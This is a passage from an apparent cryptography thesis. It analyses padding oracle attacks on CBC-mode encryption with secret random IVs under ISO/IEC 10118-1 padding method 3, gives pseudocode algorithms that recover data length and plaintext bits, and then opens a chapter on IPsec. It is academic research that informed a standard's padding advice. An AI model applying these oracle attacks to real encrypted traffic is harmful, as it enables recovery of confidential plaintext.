So in this case the relation $P_k = P'_3 \oplus R_2 \oplus C_{k-1}$ can be used at this point to recover $P_k$, and it is unnecessary to perform the decryption step of Section 4.4.3. Notice that this case will always apply when $r = n$ or $r = n - 1$.

When the data is same-block padded, we must proceed to the second phase of the attack in Section 4.4.3. In the three-block case, this phase will efficiently recover the entire plaintext block $P'_3$ consisting of (in general) data bits, padding bits and length information. From $P'_3$, we can recover $P_k$ using the above relation. A similar procedure applies for the four-block case.

4.4.2.3 Complexity

We begin by analysing phase 1 of the attack in the case where $r < n$. The analysis is complicated by the fact that Algorithm 11 might output a valid three-block ciphertext $C'$ for which the corresponding plaintext $P' = P'_3 || P'_2 || P'_1$ is new-block padded. This will have the effect of slightly lowering the average-case complexity when compared to the corresponding attack in Chapter 3. Such a new-block padded plaintext requires that blocks $P'_2 || P'_3$ take the form:

$$P'_{2,0} P'_{2,1} \ldots P'_{2,L_D-n-1} \underbrace{10 \ldots 0}_{2n-L_D} || \underbrace{00 \ldots 0}_{n-r} (L_D)_2$$
where each $P'_{2,i}$ can be either a ‘0’ or ‘1’ bit and $(2n - r) \leq L_D \leq (2n - 1)$. There are $r$ $n$-bit patterns (corresponding to the $r$ possible values of $L_D$) for $P'_{2,i}$ that have the correct form. The probability that phase 1 produces new-block padding is therefore at most $r^{2r - n}$ as we vary the rightmost $r$ bits of $R_2$ in Algorithm 11. Of course, such new-block padding may never occur during the execution of Algorithm 11: given that $R_1$ and the decryption key $K$ are fixed, there may be no choice of $R_2$ that produces the required bit pattern in $P'_2 = d_K(R_2) \oplus R_1$.

In any case, we see that there is a probability of at least $1 - 2^{r-n}$ that either there is a ‘1’ somewhere in the leftmost $n-r$ bits of $P'_3$, or we obtain a new-block padded ciphertext. In these cases, Algorithm 11 takes on average $2^{r-1}$ oracle queries. On the other hand, there is a probability of at most $2^{r-n}$ that the leftmost $n-r$ bits of $P'_3$ are all ‘0’ and Algorithm 11 tries all $2^r$ possible settings for the rightmost bits of $P'_2$ without a VALID response. Algorithm 11 will then take on average a further $2^{r-1}$ oracle queries before obtaining a VALID response. A simple calculation now shows that the average number of oracle queries needed by Algorithm 11 is at most $2^{r-1} + 2^{2r-n}$, while in the worst-case it is $2^{r+1}$. When $r$ is small relative to $n$, the average-case complexity is dominated by the term $2^{r-1}$.

Phase 1 of the attack in the case $r = n$ uses Algorithm 12. This algorithm uses on average $2^n$ oracle queries to obtain a VALID response and $2^{n+1}$ in the worst case.

Phase 2 uses the attack in Section 4.4.3 for the same-block padded case, which has a complexity of $O(n)$ oracle queries. So phase 2 does not contribute significantly to the overall complexity required to decrypt a single block (unless $r$ is very small).

### 4.4.2.4 Impact

This attack applies to any ciphertext block $C_k$ of a ciphertext $C_1 || C_2 || \ldots || C_q$, except for the first block $C_1$. It is not possible to decrypt $C_1$ because of the use of the relation $P_k = P'_3 \oplus C_{k-1} \oplus R_2$ at the end of the attack: this would necessitate an XOR operation with the secret IV. The attack recovers all $n$ bits within the block and does so many orders faster than exhaustive search for many choices or $r$. When $r = n$ our attack is still better than exhaustive key search for block ciphers whose key size is greater than the block length. We restate the observation from Chapter 3 that the seemingly innocuous parameter $r$ has unexpected implications for security.

### 4.4.2.5 Comparison

This attack is an adaptation of Attack 1 in Chapter 3 to the second of our attack models, where IVs are secret, random and completely hidden from the adversary. These extra restrictions do not seem to be a major hindrance to the effectiveness of the attack. Specifically, the complexity of the attack has remained practically the same as the corresponding attack in Chapter 3, and, except for the first ciphertext block, the impact remains unchanged. The attack uses three-block or four-block ciphertexts instead of two-block ones when $r < n$; this is not expected to be of any practical significance.
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

4.4.3 Attacking the Last Block(s)

The attack we present in this section attempts to decrypt the last block $C_q$ of a ciphertext $C_1 || C_2 || \ldots || C_q$. It is an adaptation of Attack 2 in Chapter 3 to the secret and random IV setting, and, like that attack, proceeds in two phases. Phase 1 determines the length $L_D$ of the ciphertext, while phase 2 will recover plaintext bits in the mixed block containing both padding and data bits. (If there is such a block, then it is unique.) Recall that, as well as being directly applicable to the last block $C_q$, our attack can also be used in conjunction with the attack in Section 4.4.2 to decrypt arbitrary ciphertext blocks.

4.4.3.1 Phase 1: Finding $L_D$

This phase of our attack is derived from the corresponding phase of Attack 2 in Chapter 3. The general idea remains the same: we use the padding oracle to tell us whether a flipped bit is a padding bit or not, thereby indicating the data/padding boundary direction in relation to that bit. The case $q = 2$ requires special treatment and our methods fail completely when $q = 1$. We first examine the general case $q \geq 3$.

For ease of presentation we take $r \leq n - 2$, but Algorithm 13 handles all values of $r$. Here, in the same-block padded case, the last plaintext block $P_q$ has the following format:

$$[\text{DATA}] \underbrace{10 \ldots 0}_{t} \underbrace{(L_D)_{2}}_{p} \underbrace{r}_{r+1}$$

where $t + p + r = n$ and $p \geq 1$. In the new-block padded case, the above format spans the last two blocks $P_{q-1}$ and $P_q$ and we put $t + p + r = 2n$. We note that the attacker does not, at first, know which of the cases he is faced with.

Given our $q$-block ciphertext, the rightmost position at which a data bit could ever reside is at $P_{q,n-r-2}$. Consider then submitting to the padding oracle the ciphertext:

$$C_1 || C_2 || \ldots || C_{q-1} \oplus \underbrace{00 \ldots 0}_{n-r-2} 1 \underbrace{00 \ldots 0}_{r+1} || C_q.$$ 

The oracle will return either:

- **VALID**, meaning the padding has not been disturbed so the bit flipped in $P_q$ by modifying $C_{q-1}$ is a data bit. Since this bit is at the rightmost possible data bit position, we can deduce that the data length $L_D$ equals $(q-1)n + n - r - 1 = qn - r - 1$.

- or **INVALID**, meaning a padding bit has been flipped so the padding is no longer valid. Therefore the padding boundary is somewhere to the left of this bit.

Like the corresponding attack in Chapter 3, we can generalise the above observation about $P_{q,n-r-2}$ to produce Algorithm 13, a binary search algorithm to find $L_D$. In this algorithm, we initialise two pointers $l$ and $u$ at the extremities of the possible padding range and modify the ciphertext so as to invert the plaintext bit that lies in the middle position $h := \lfloor (l + u)/2 \rfloor$ of the range. We then submit the ciphertext to the oracle. A
Algorithm 13 Recovering $L_D$ from an ISO/IEC 10118-1 padded ciphertext

**Input:** $C_1||C_2||\ldots||C_q, n, r$

**Output:** $L_D$

**Require:** $q \geq 3$

function 10118-1-m3-find-$L_D$-general($C_1||C_2||\ldots||C_q, n, r$)

\[ C := C_1||C_2||\ldots||C_q \]

\[ l := (q - 2)n + n - r \]

\[ u := (q - 1)n + n - r - 1 \]

repeat

\[ h := \lfloor (l + u)/2 \rfloor \]

\[ C_{[h/n], h \mod n} := C_{[h/n], h \mod n} \oplus 1 \]

if ORACLE($C$) = VALID then

\[ l := h + 1 \]

else

\[ u := h \]

end if

\[ C_{[h/n], h \mod n} := C_{[h/n], h \mod n} \oplus 1 \]

until $l = u$

return $L_D := l$

end function

VALID response means the start of the padding is to the right of this test bit so we set the lower pointer $l$ to the position $h + 1$, whereas INVALID indicates it is to the left and we set the upper pointer $u$ to $h$. We must then reset the test bit before proceeding to the next test. This process is repeated until the upper and lower pointers coincide, at which point they indicate the rightmost data bit. It is then easy to determine $L_D$. Clearly, the algorithm makes roughly $\log_2 n$ queries to the padding oracle and so is efficient.

This completes our discussion of the general case where $q \geq 3$. Next we focus on the case $q = 2$. This case requires special treatment because setting up a binary search as above requires the ability to modify plaintext bits in the whole range of padding positions, which in this case includes those in the rightmost $r$ positions of the plaintext block $P_1$. This in turns necessitates the ability to modify bits in the corresponding positions in the IV, which is not possible in the setting of secret and random IVs.

Our solution, presented in Algorithm 14, is to perform a binary search over the restricted range of those padding positions in the second (and last) plaintext block $P_2$. This is done by initializing the lower and upper pointers to $n$ and $2n + r - 1$ respectively. If the search finishes pointing to any position between $P_{2,1}$ and $P_{2,n-r-1}$ then this indicates the actual leftmost padding position from which $L_D$ can be determined. On the other hand, if the search ends pointing at $P_{2,0}$, then we can deduce that the bit at that position is a padding bit and hence the boundary is somewhere to the left of that position. From this we can deduce that the plaintext block $P_2$ consists only of padding bits and encoded length information, and that $L_D \leq n$. We could go further and deduce most of the contents of block $P_2$, but these bits are not usually of much interest to the attacker as they are not
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

data bits. In this case, we cannot continue with the attack.

We note that this \( q = 2 \) version of the length-finding algorithm is not normally invoked by the attack in Section 4.4.2, unless \( C_2 \) is the last block and happens to be the initial target.

Finally we consider the case \( q = 1 \). Here we are not able to find \( L_D \) by performing any kind of search for the data/padding boundary since this would require manipulating the IV. Thus our methods fail in this case.

Algorithm 14 Recovering \( L_D \) from a two-block, ISO/IEC 10118-1 padded ciphertext

\[
\text{Input: } C_1||C_2, n, r \\
\text{Output: } L_D \text{ or } \text{“Plaintext length at most } n\text{”}
\]

\[
\text{function } 10118-1\text{-m3-find-}L_D\text{-special}(C_1||C_2, n, r) \\
C := C_1||C_2 \\
l := n \\
u := 2n - r - 1 \\
\text{repeat} \\
h := \lfloor (l + u)/2 \rfloor \\
C_{\lfloor h/n \rfloor, h \bmod n} := C_{\lfloor h/n \rfloor, h \bmod n} \oplus 1 \\
\text{if ORACLE}(C) = \text{VALID then} \\
l := h + 1 \\
\text{else} \\
u := h \\
\text{end if} \\
C_{\lfloor h/n \rfloor, h \bmod n} := C_{\lfloor h/n \rfloor, h \bmod n} \oplus 1 \\
\text{until } l = u \\
\text{if } l > n \text{ then} \\
\text{return } L_D := l \\
\text{else} \\
\text{return “Plaintext length at most } n\text{”} \\
\text{end if} \\
\text{end function}
\]

4.4.3.2 Phase 2: Decrypting

We assume that \( q \geq 2 \) and that \( L_D \) has been successfully obtained from phase 1. This will always be the case for \( q \geq 3 \); for \( q = 2 \), this may not always the case. From \( L_D \), the attacker learns whether the padding is same-block or new-block. This knowledge determines how this phase of the attack proceeds.

Decrypting: Same-block Recall the structure of the last plaintext block \( P_q \): \( t \) unknown data bits, followed by \( p \) padding bits in the form 10...0 and finally \( r \) bits encoding the data length \( L_D \). The only bits remaining to be found are the \( t \) data bits. As there are no further bits to recover for \( t = 0 \), we assume that \( t \geq 1 \) and recover this bit (or these bits)
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

as follows. Consider submitting to the oracle the ciphertext $C' = R || C_q$ where:

$$R = C_{q-1} \oplus 00 \ldots 0 (L_D)_2 \oplus 00 \ldots 0 10 \ldots 0 (n + t - 1)_2.$$ 

This ciphertext is constructed in such a way that, after decryption to obtain plaintext $P'_1 || P'_2$, the length block in $P'_2$ encodes the length $n + t - 1$, while the $p$ padding bits are modified to be all ‘0’s. Moreover, data bits are copied intact from $P_q$ to $P'_2$, so that $P_{q,i} = P'_{2,t-1}$ for $0 \leq i < t$. From the construction of $C'$, we see that the oracle will output VALID if and only if $P'_2, t - 1 = 1$. Since we have $P_{q,t-1} = P'_2, t - 1$, we can obtain the last data bit of block $P_q$.

This idea can be extended to recover all $t$ data bits in $P_q$ in a similar manner: we reduce the length field in $P'_2$ by one a step at a time whilst fixing the data in all recovered bit positions to be ‘0’ so that they become part of a valid padding. A single bit of $P'_2$ and hence of $P_q$ is revealed at each iteration, until all the data bits in $P_q$ are recovered. This procedure is given in detail in Algorithm 15. The algorithm makes use of the function $\bar{\Omega}$, which is the complement of the function $\Omega$ in Chapter 3. Explicitly, the function $\bar{\Omega}$ is defined by:

$$\bar{\Omega}(C) = \begin{cases} 1 & \text{if the padding oracle returns VALID for input } C, \\ 0 & \text{if the padding oracle returns INVALID for input } C. \end{cases}$$

Algorithm 15 Recovering remaining bits from a same-block, ISO/IEC 10118-1 padded ciphertext block

**Input:** $L_D, C_{q-1}, C_q, r, n$

**Output:** $P_q := P_{q,0} | P_{q,1} | \ldots | P_{q,t-1} | 10 \ldots 0 (L_D)_2$

**Require:** $L_D$ indicates that the plaintext is same-block padded

**function** 10118-1-m3-decrypt($L_D, C_{q-1}, C_q, r, n$)

1. $t := L_D \mod n$
2. $p := n - r - t$
3. $R := C_{q-1} \oplus 00 \ldots 0 (L_D)_2 \oplus 00 \ldots 0 (n + t)_2$
4. for $j := t - 1$ to 0 do
   1. $R := R \oplus 00 \ldots 0 (n + j + 1)_2 \oplus 00 \ldots 0 (n + j)_2$
   2. $P_{q,j} := \bar{\Omega}(R||C_q)$
   3. $R_j := R_j \oplus P_{q,j}$
5. end for
6. return $P_q := P_{q,0} | P_{q,1} | \ldots | P_{q,t-1} | 10 \ldots 0 (L_D)_2$

**end function**

**Decrypting:** **New-block** For new-block padded plaintexts with $q \geq 3$ blocks, $P_q$ is
4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1

determined completely by \(L_D\) and the padding. However, the padding often extends into the penultimate plaintext block \(P_{q-1}\) and we can exploit this fact when decrypting block \(C_{q-1}\), using the same concepts for the new-block case in Attack 2 in Section 3.3.2.2.

By definition, \(t = L_D \mod n\) and we assume \(t \neq 0\). Then \(u = n - t\) bits of padding of the form \(10\ldots0\) are present in \(P_{q-1}\). We show how to decrypt \(C_{q-1}\) using the attack in Section 4.4.2, but with the complexity lowered to a fraction \(2^{(1-u)}\) of the original. Consider ciphertexts of the form \(C' = 00\ldots0||R_2||C_{q-1}\) where:

\[
R_2 = C_{q-2} \oplus 00\ldots010\ldots0 \oplus 00\ldots0(3n - r - 1)2.
\]

Upon decryption, this ciphertext will produce a plaintext block \(P'_3\) of the form:

\[
P'_{3,0}P'_{3,1}\ldots P'_{3,3}y_0y_1\ldots y_{u-1}
\]

where \(y_0y_1\ldots y_{u-1}\) are the \(u\) least significant bits of the binary encoding of the length field \(3n - r - 1\), since \(r \geq u\) by definition. Now it is straightforward to see that running through all \(2^{r-u+1}\) settings of the \(r - u + 1\) bits immediately to the left of the rightmost \(u\) bits (by varying the relevant bits of \(R_2\)), representing the most significant bits of the length field and the immediately preceding padding bit, will ensure that at least one valid three-block ciphertext \(C'\) is obtained. Naturally, after obtaining such a valid \(C'\), we can apply the attack of this section again, now using \(C'\) as the input ciphertext. This time, we have ensured the plaintext is same-block padded and phase 2 of the attack will terminate, outputting a candidate \(P'_3\) for the decryption of block \(C_{q-1}\) in ciphertext \(C'\); from this we can deduce the decryption \(P_{q-1}\) of \(C_{q-1}\) in the original ciphertext \(C\) using the relation \(P_{q-1} = P'_3 \oplus R_2 \oplus C_{q-2}\).

This strategy takes on average about \(2^{r-u}\) oracle queries which is roughly a fraction \(2^{(1-u)}\) of the number of oracle queries needed on average for the corresponding attack in Algorithm 11 without the knowledge of the \(u\) padding bits. Unfortunately this strategy does not work for two-block, new-block padded ciphertexts in our attack model, because the very last step would need to use \(IV\) in place of \(C_{q-2}\).

4.4.3.3 Complexity

For \(q \geq 3\), phase 1 of the attack takes on average \(\log_2 n\) oracle queries to find the data length \(L_D\). For same-block padded plaintexts, phase 2 then takes one call per bit for decrypting. So to recover the \(t\) data bits in the last block, \(t + \log_2 n\) oracle queries are required. For new-block padded plaintexts, the block \(P_q\) is completely determined by \(L_D\) from phase 1. Then phase 2 needs on average around \(2^{r-u}\) oracle queries to recover the whole of the penultimate plaintext block \(P_{q-1}\). Here \(u\) is the number of known padding bits in \(P_{q-1}\). We have ignored the comparatively small cost of running the length-finding and last-block decryption algorithms of this section.

For two-block ciphertexts, phase 1 will take on average \(\log_2(n-r)\) oracle queries to find
either the actual value of $L_D$ or to find that $L_D \leq n$. In the former case, the complexity of phase 2 is exactly as above. In the latter case, the data is new-block padded but we are not able to recover the penultimate plaintext block. Phase 1 of the attack cannot be successfully applied to single-block ciphertexts and no data bits can be extracted using our attack in this case.

It is important to note that, even though the two attacks presented here and in Section 4.4.2 are inter-dependent, there is no possibility of the attack entering an infinite loop. The reasoning is as follows. For $r < n$, the attack in Section 4.4.2 will output a valid ciphertext that is same-block padded, the last block of which is the target block and whose plaintext will be completely recovered by the attack in this section. For $r = n$, the attack in Section 4.4.2 returns a valid ciphertext that, although being new-block padded, is such that the plaintext bits we are interested in will be completely determined after phase 1 of the attack in this section, and phase 2 is therefore unnecessary. On the other hand, if we start with the attack in this section, the attack only invokes the attack in Section 4.4.2 if phase 1 indicates that the plaintext is new-block padded. The invoked attack will eventually require the attack in this section again to recover remaining data bits, which, as explained above, will always terminate and not invoke further attacks.

4.4.3.4 Impact

The attack is highly efficient at extracting plaintext bits in the last plaintext block $P_q$. A maximum of $n - r - 1$ bits of data can be recovered in this way and the attack is therefore significant for short messages, especially in combination with a small $r$. One might argue that $r = n$ is a natural choice for the implementor. In this case, the padding is always new-block and the attacker must resort to the speeded-up version of the attack in Section 4.4.2.

4.4.3.5 Comparison

Imposing the secret and random IV condition on the attack in this section prevents phase 1 of the attack from determining the exact data length of single-block ciphertexts, and two-block ones when the plaintext is new-block padded. This, in turn, stops us from extracting any data bits in these cases. This is in contrast to the corresponding cases in Chapter 3, where the ability to manipulate the IV proves to be advantageous in those cases.

The complexity of the two phases remains unchanged when compared to the corresponding attack in Chapter 3, i.e. $\log_2 n$ oracle queries to find $L_D$ and one oracle query per data bit extracted for same-block padding. Short ciphertexts, typically two or three blocks long, are used throughout, so there is little or no message expansion.
4.5 Dealing with Multiple IVs

In [100], CBC mode encryption is actually defined more generally by allowing the use of a sequence of \( z \) IVs, \( IV_1, IV_2, \ldots, IV_z \) (called starting variables, denoted \( SV_i \) in the standard) to take advantage of parallel encryption processing where available. Note that decryption in CBC mode can always be performed in parallel. In [100], CBC mode encryption is defined thus:

\[
C_i = e_K(P_i \oplus IV_i), 1 \leq i \leq z \\
C_i = e_K(P_i \oplus C_{i-z}), z + 1 \leq i \leq q
\]

Assuming \( q > z \), this definition means that we are effectively creating \( z \) independent ciphertext chains, each of which is associated with a particular IV, that can be computed in parallel. In general, taking \( x = \lceil q/z \rceil \) and \( y = q \mod z(>0) \), the plaintext chains corresponding to ciphertext chains, denoted \( P(1), P(2), \ldots, P(z) \), will be of the form:

\[
\begin{align*}
P(1) &= IV_1, P_1, P_{z+1}, P_{2z+1}, \ldots, P_{(x-1)z+1}, P_{xz+1} \\
P(2) &= IV_2, P_2, P_{z+2}, P_{2z+2}, \ldots, P_{(x-1)z+2}, P_{xz+2} \\
&\vdots \\
P(y) &= IV_y, P_y, P_{z+y}, P_{2z+y}, \ldots, P_{(x-1)z+y}, P_{xz+y} \\
P(y+1) &= IV_{y+1}, P_{y+1}, P_{z+y+1}, P_{2z+y+1}, \ldots, P_{(x-1)z+y+1} \\
&\vdots \\
P(z) &= IV_z, P_z, P_{2z}, P_{3z}, \ldots, P_{xz}
\end{align*}
\]

For the case \( q \mod z = 0 \), there will be \( z \) chains consisting of exactly \( q/z \) plaintext blocks each (excluding the IV). If \( q < z \), then we only have \( q \) single-block plaintexts, leaving \( IV_{q+1} \) to \( IV_z \) unused. The standard assumes that the plaintext is already padded before being input into CBC mode encryption. This means the plaintext padding is applied only once for the whole \( q \)-block plaintext, rather than once for each of the \( z \) plaintext chains.

The use of multiple IVs has some effects on the attacks in this chapter. Generally, in a secret and random IV setting, use of \( z > 1 \) IVs means that ciphertext blocks from 1 to \( z \) inclusive are all out of bounds for bit-flipping attacks. For \( z = 1 \), only block \( C_0 \) is not amenable to bit flips. On the other hand, creation of multiple ciphertext chains allows precise bit-flips to be made in up to \( z \) consecutive blocks \( P_1, P_{i+1}, \ldots, P_{i+z-1} \) (where \( i > z \)) by manipulating blocks \( C_{i-z}, C_{i+1-z}, \ldots, C_{i-1} \) respectively, these blocks coming from different ciphertext chains. This contrasts with the usual case \( z = 1 \) where bits in block \( P_1 \) can be predictably flipped with block \( P_{i-1} \) invariably randomised. In our discussion below, we assume that the attacker knows the value of the parameter \( z \) and is therefore able to demultiplex the intercepted cipher blocks into their respective cipher block chains.

We first consider the impact of multiple IVs on our attack against method 3 of ISO/IEC 9797-1 in Section 4.3. We assume the same attack model as before where IV-determining information is transmitted alongside the ciphertext. The attacker should still, in most
cases, be able to determine the lengths of unpadded data during gathering of auxiliary ciphertexts using a generalised version of Algorithm 9. While the concept of a binary search in a general $q$-block ciphertext for the data/padding transition remains the same, the bit-flips are now effected in block $q-z$ instead of $q-1$. This imposes a lower limit of $z+1$ for $q$, the number of blocks in a candidate auxiliary ciphertext. Given a large enough pool of variable-length ciphertexts, we do not expect this restriction to be a major obstacle, assuming that $z$, corresponding to the number of parallel cryptographic processors, is unlikely to be a large number. The decryption phase of this attack involves bit-flips in the auxiliary ciphertexts whose last blocks are replaced with the target block, in the positions within the last plaintext block. It is easy to see that these bit flips are always possible by the method used in the selection of auxiliary ciphertexts above.

The attacks against method 3 of ISO/IEC 10118-1 [30] in Section 4.4 can also be easily generalised to accommodate the multiple IV scenario in the same attack model as before, where no IV information is sent. Here we sketch the generalised attacks. For the attack on an arbitrary ciphertext block, it is easy to see that phase 1 of the attack continues to operate with extended ciphertexts when necessary. Specifically, the valid ciphertext that we now wish to construct, with the target block as the last block, now needs to have $z+2$ blocks for $r < n$, or $z+3$ blocks for $r = n$. These requirements can be easily satisfied by inserting dummy blocks as required. Once a valid ciphertext is obtained, phase 2 of the attack, which uses the second attack described next, will operate normally by construction of the valid ciphertext.

We now consider the second attack against padding method 3 of ISO/IEC 10118-1. Allowing the use of multiple IVs, the general case for the length-finding phase of this attack still applies, with the condition on the ciphertext generalised to having to be at least $q = z + 2$ blocks in length. Similarly, the procedure for handling the case $q = 2$ can be easily generalised for $q = z + 1$. Using similar arguments, we can conclude that this phase of the attack cannot operate on ciphertexts of length $z$ blocks or shorter.

Recall that same-block and new-block padded plaintexts are treated differently in the decryption phase of this attack. After a successful run of the first phase, the remaining data bits in the last block of same-block padded plaintexts can always be extracted for all values of $z$, as, by construction, ciphertext block $C_{q-z}$ will be available for manipulation. In the new-block padded case, we can again resort to using the first attack method using auxiliary ciphertexts described above, taking advantage of any known bits to optimise the attack exactly as before.

In summary, all our attacks presented in this chapter can be modified to handle the situations where multiple IVs are in use, in the same attack models as before. All the algorithms would now take an extra parameter, $z$, representing the number of IVs used. Setting $z = 1$ would bring us back to the usual single IV scenario. The modified attacks that accommodate multiple IVs ($z > 1$) do not incur additional complexity compared to the single IV attacks. On the other hand, we have shown that the number of IVs used is also the number of initial ciphertext blocks that are out-of-bounds for manipulation. This
4.6 The Published ISO/IEC 10116:2006 Standard

4.6.1 Our Assessment of the Draft Standard

The 2004 Final Committee Draft of the 3rd edition of ISO/IEC 10116 [100], the subject of this chapter, contained the following text regarding padding methods in Clause 5 (Requirements):

...Padding techniques...are not within the scope of this International Standard, and throughout this standard it is assumed that any padding, as necessary, has already been applied.

In our published paper [200] on which this chapter is based, we observed that the draft standard, as it stood, effectively off-loaded the responsibility of choosing a padding method to the implementor of this standard. We argued that not specifying a padding method at all had the potential to be even more dangerous than specifying a method that was known to be weak against certain attack types. Our opinion was based on the very real risk that an implementor might choose a method that fell to some even more realistic form of attack.

4.6.2 The Published Standard

We provide a brief discussion of the published third edition of the ISO/IEC 10116 standard for in the light of our published paper [200]. The ratified version of the 3rd edition of ISO/IEC 10116 was published in 2006, and is known as ISO/IEC 10116:2006 in full. The progression from Final Committee Draft [100] that we examined in this chapter, to the published standard [101] contains a few updates that are relevant to this thesis.

There are no major changes from the Final Committee Draft in the description of the CBC mode encryption in the published standard, except for a few clarifications and the change of terminology from encipherment and decipherment to encryption and decryption. The recommendation to use IVs that are secret and random is retained, as is the support for multiple IVs.

Section 5 (Requirements) of the published standard [101] still carries the statement that padding techniques are beyond its scope and assumes that any necessary padding has already occurred before encryption. However, [101] now contains a note in this section that refers to Annex B.2.3 (Padding requirements) of the document for advice on selection.
of padding methods. Annex B.2.3 of [101] recommends the use of padding method 2 of ISO/IEC 9797-1 (also the method 2 of ISO/IEC 10118-1), citing its resistance to padding oracle attacks and refers to, among others, our papers [162, 200] that form the basis of this and the previous chapter. Note that in the Final Committee Draft, the corresponding annex did not contain padding method recommendations, but rather two methods that allowed the use of CBC mode encryption in cases where padding is not possible. These methods were not referenced in the main body of the draft standard.

Overall, we are pleased to see that the ISO committee have taken into account the efforts of the cryptographic research community in drafting this new standard.

4.7 Chapter Summary

In Section 4.3.2, we introduced a new padding oracle attack against CBC mode encryption when used with padding method 3 of [29]. Our new attack applies to secret, random IVs in the first attack model. The new attack uses a set of auxiliary ciphertexts that correspond to plaintexts of different lengths. These are used as an aid to recovering the plaintext from a target ciphertext block. The complexity of the attack depends on the spread of lengths of the auxiliary ciphertexts; it can be as low as \( n \) queries to the padding oracle, where \( n \) is the block size.

We have been able to adapt the attacks of Chapter 3 against encryption in CBC mode when used with padding method 3 of [30] to the secret and random IV setting, without significant penalties on complexity or generality. These attacks are applicable in our second, tougher attack scenario. An attack applicable to any ciphertext block is presented in Section 4.4.2. This attack first constructs a valid ciphertext with the target block as the final block and then uses the attack of Section 4.4.3 to decrypt that block, and thereby recovers the target plaintext. The first phase requires, on average, roughly \( 2^{r-1} \) queries to the padding oracle. Here \( r \) is a parameter associated with the padding method. The attack of Section 4.4.3 is applicable to the final block of any ciphertext and is always efficient, requiring only \( O(n) \) oracle queries to recover all the plaintext bits in the last block.

We note that our results do not contradict the results of [42], since the security model of [42] does not cater for the kind of side channel information that a padding oracle provides to an attacker. We also note that all of our attacks are independent of the particular block cipher used.

4.8 Conclusions

We have shown that the use of IVs that are secret and random does not prevent padding oracle attacks on CBC mode encryption. We have shown this to be the case in the context of two padding methods previously analyzed in Chapter 3. The use of secret, random IVs required us to develop new ideas and to extend the analysis of Chapter 3. The new
attacks are, at best, of roughly equal complexity to those of Chapter 3 and the assumptions we have made to obtain attacks seem reasonable. The attacks recover most, if not all, plaintext bits many orders of magnitude faster than exhaustive key search.

Finally, we wish to repeat the point made in Chapter 3 and [53] that padding oracle attacks can be easily thwarted by the proper use of strong integrity checks. It is now widely held that encryption should be accompanied by a data integrity mechanism whenever feasible and appropriate. Of course there are situations (for example, constrained environments) where the use of a MAC algorithm in addition to encryption is not possible. In these scenarios, the careful selection of a padding method and the avoidance of padding oracles in implementations is of paramount importance.
Attacks in Theory and Practice: IPsec

5.1 Introduction

We have seen in previous chapters how padding oracles in CBC mode encryption may be exploited as a side channel from which an attacker can learn plaintext information. While some may argue that the attacks on the padding schemes are merely attacks on paper, padding oracle attacks on SSL have been demonstrated by Canvel et al. [62] based on a timing side channel. In a similar vein, in this chapter and the next, we seek to investigate the extent to which side channel attacks may be applicable to IPsec, a widely used suite of protocols designed to secure traffic across the Internet.

IPsec is notoriously complicated. Therefore in this chapter, we provide all the necessary background information and prerequisite material that are necessary to establish the role of IPsec and assess its security. We start by introducing the TCP/IP protocol suite, the set of ubiquitous Internet protocols that IPsec is designed to protect. Within TCP/IP, we focus on IP and ICMP protocols, both of which are integral to our attacks on IPsec to be presented in Chapter 6. We then present in some detail the IPsec architecture and protocols. We focus on how CBC mode encryption is used in IPsec. Having established how IPsec works, we analyse the extent to which IPsec is susceptible to padding oracle attacks. This serves as a precursor to the attacks on IPsec in Chapter 6.

Portions of this chapter, Sections 5.3.2, 5.3.4 and 5.3.5 in particular, are based on material by Paterson in [161].

5.2 Internet Protocol

The Internet Protocol (IP) underlies the Internet as it is today. Operating at the internet layer in the DARPA four-layer network model (or network layer in the OSI seven-layer model), version 4 [169] of the Internet Protocol (IPv4), developed in the 1970s by the US Department of Defense, is by far the most commonly used inter-network communication protocol. Internet Protocol version 6 (IPv6) [68], ratified by the Internet Engineering Task Force (IETF) in the 1990s, has been developed as the next generation of IP, with the intention of replacing IPv4. Despite a number of improvements over IPv4, IPv6 has yet to see widespread use. Our attacks in Chapter 6 are based on IPv4 and we shall not discuss IPv6 any further.

The IP datagram is the basic unit of data transfer in an IP internet. IP provides an unreliable, connectionless packet delivery service, whereas Transmission Control Protocol
(TCP) runs on top of IP to provide a reliable, stream-oriented transport service. The Internet Control Message Protocol (ICMP) is the mechanism used by IP to report errors and provide network diagnostic information. These protocols, along with a few others such as User Datagram Protocol (UDP), are collectively known simply as TCP/IP, form the basis of the modern Internet. For in-depth treatment of TCP/IP, the reader is encouraged to consult [65].

5.2.1 IP Datagram Header

An IP datagram consists of a header and a payload. The header, in turn, consists of various header fields. The IPv4 header is specified in [169], and its layout is reproduced schematically in Figure 5.1. The execution of our attacks in Chapter 6 depends in a detailed way on the structure of the headers of IP datagrams and on the order in which the header fields are processed.

```
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options (if any) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

Figure 5.1: Structure of IP header according to RFC 791.

